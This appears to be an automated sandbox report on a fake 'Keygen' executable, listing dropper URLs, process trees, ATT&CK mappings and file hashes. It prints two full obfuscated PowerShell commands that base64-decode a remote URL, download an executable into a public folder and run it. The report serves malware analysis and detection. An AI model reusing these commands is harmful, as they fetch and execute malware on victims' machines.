3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
39s
max time network
179s
platform
windows7_x64
resource
win7
submitted
02-10-2020 21:14

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (2) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1784 Keygen.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1312 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1820 timeout.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1620 powershell.exe
1952 powershell.exe
1952 powershell.exe
1620 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1620 powershell.exe
Token: SeDebugPrivilege 1952 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1784 Keygen.exe

pid	process
1784	Keygen.exe

pid	process
1312	cmd.exe

pid	process
1820	timeout.exe

pid	process
1620	powershell.exe
1952	powershell.exe
1952	powershell.exe
1620	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe

pid	process
1784	Keygen.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

Keygen — копия (2) — копия.execmd.exemshta.exemshta.exe

description	pid	process	target process
PID 316 wrote to memory of 1312	316	Keygen — копия (2) — копия.exe	cmd.exe
PID 316 wrote to memory of 1312	316	Keygen — копия (2) — копия.exe	cmd.exe
PID 316 wrote to memory of 1312	316	Keygen — копия (2) — копия.exe	cmd.exe
PID 316 wrote to memory of 1312	316	Keygen — копия (2) — копия.exe	cmd.exe
PID 1312 wrote to memory of 1784	1312	cmd.exe	Keygen.exe
PID 1312 wrote to memory of 1784	1312	cmd.exe	Keygen.exe
PID 1312 wrote to memory of 1784	1312	cmd.exe	Keygen.exe
PID 1312 wrote to memory of 1784	1312	cmd.exe	Keygen.exe
PID 1312 wrote to memory of 1128	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1128	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1128	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1128	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1836	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1836	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1836	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1836	1312	cmd.exe	mshta.exe
PID 1312 wrote to memory of 1820	1312	cmd.exe	timeout.exe
PID 1312 wrote to memory of 1820	1312	cmd.exe	timeout.exe
PID 1312 wrote to memory of 1820	1312	cmd.exe	timeout.exe
PID 1312 wrote to memory of 1820	1312	cmd.exe	timeout.exe
PID 1128 wrote to memory of 1952	1128	mshta.exe	powershell.exe
PID 1128 wrote to memory of 1952	1128	mshta.exe	powershell.exe
PID 1128 wrote to memory of 1952	1128	mshta.exe	powershell.exe
PID 1128 wrote to memory of 1952	1128	mshta.exe	powershell.exe
PID 1836 wrote to memory of 1620	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 1620	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 1620	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 1620	1836	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (2) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (2) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\6326.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (2) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1312

C:\Users\Admin\AppData\Local\Temp\6326.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1784

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6326.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6326.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6326.tmp\Keygen.exe
MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\6326.tmp\Keygen.exe
MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\6326.tmp\m.hta
MD5
9383fc3f57fa2cea100b103c7fd9ea7c

SHA1
84ea6c1913752cb744e061ff2a682d9fe4039a37

SHA256
831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

SHA512
16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

Download Submit
C:\Users\Admin\AppData\Local\Temp\6326.tmp\m1.hta
MD5
5eb75e90380d454828522ed546ea3cb7

SHA1
45c89f292d035367aeb2ddeb3110387a772c8a49

SHA256
dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

SHA512
0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6326.tmp\start.bat
MD5
68d86e419dd970356532f1fbcb15cb11

SHA1
e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

SHA256
d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

SHA512
3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
d01c391f926a666370f513f4d3383dc7

SHA1
fe53e1c4c7938b342e5298cec2340ce777cbee7a

SHA256
7ce27b260b8e409590143c2e4c59d47610928f286021097404a9dd064571f36c

SHA512
0f6118b76cf41aeccc6f5356e90ede4a1363cf49928de3007d9a2b4325b9f6e1a54d0526615230969c1297949d4e8eb4699c7c7009525744d4ec1b6a0b280c29

Download Submit
\Users\Admin\AppData\Local\Temp\6326.tmp\Keygen.exe
MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
memory/1128-8-0x0000000000000000-mapping.dmp

Download
memory/1312-0-0x0000000000000000-mapping.dmp

Download
memory/1620-32-0x00000000062E0000-0x00000000062E1000-memory.dmp

Filesize
4KB

Download
memory/1620-17-0x00000000004D0000-0x00000000004D1000-memory.dmp

Filesize
4KB

Download
memory/1620-13-0x0000000000000000-mapping.dmp

Download
memory/1620-27-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/1620-16-0x00000000711F0000-0x00000000718DE000-memory.dmp

Filesize
6.9MB

Download
memory/1784-5-0x0000000000000000-mapping.dmp

Download
memory/1784-4-0x0000000000000000-mapping.dmp

Download
memory/1820-11-0x0000000000000000-mapping.dmp

Download
memory/1836-10-0x0000000000000000-mapping.dmp

Download
memory/1952-19-0x00000000048D0000-0x00000000048D1000-memory.dmp

Filesize
4KB

Download
memory/1952-21-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1952-23-0x0000000005340000-0x0000000005341000-memory.dmp

Filesize
4KB

Download
memory/1952-15-0x00000000711F0000-0x00000000718DE000-memory.dmp

Filesize
6.9MB

Download
memory/1952-12-0x0000000000000000-mapping.dmp

Download